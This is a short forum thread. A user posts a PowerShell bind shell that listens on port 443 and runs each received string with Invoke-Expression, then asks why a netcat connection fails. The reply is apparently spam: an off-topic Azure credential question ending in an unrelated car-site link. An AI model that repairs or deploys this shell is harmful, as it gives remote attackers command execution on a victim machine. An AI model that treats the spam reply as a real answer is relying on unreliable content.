PDA

View Full Version : Powershell bind (connection) throws errors



Richard2022
2022-07-22, 20:50
Hi there,

I put the next code in Powershell (Windows 10) and my Linux machine is listering with netcat but the code does not work.

I have started in the meanwhile with a Powershell course but can't find yet the solution.



$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443)$list ener.start( )$client = $listener.AcceptTcpClient()$stream = $client.GetStream()[byte[]]$bytes = 0..65535 | ForEach-Object{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (Invoke-Expression $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '>' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush()}$client.Close()$listener.Stop()

miafrance
2022-08-04, 22:25
My automated script connects to Azure by passing stored credentials to Connect-AzureAD -Credential $Credentials. These credentials are securely stored in a pair of encrypted text files. However, if one of the files gets deleted or the stored password changes, the script currently opens the interactive login window, causing it to pause indefinitely. To enhance script functionality, I'm exploring options to either implement an error notification, allowing the script to continue and report the issue, or establish a timeout limit for the interactive login box. This improvement aims to streamline the script's performance and ensure smoother execution. For additional insights, visit Cardailytips (https://cardailytips.com/honda-grace-hybrid-problems/).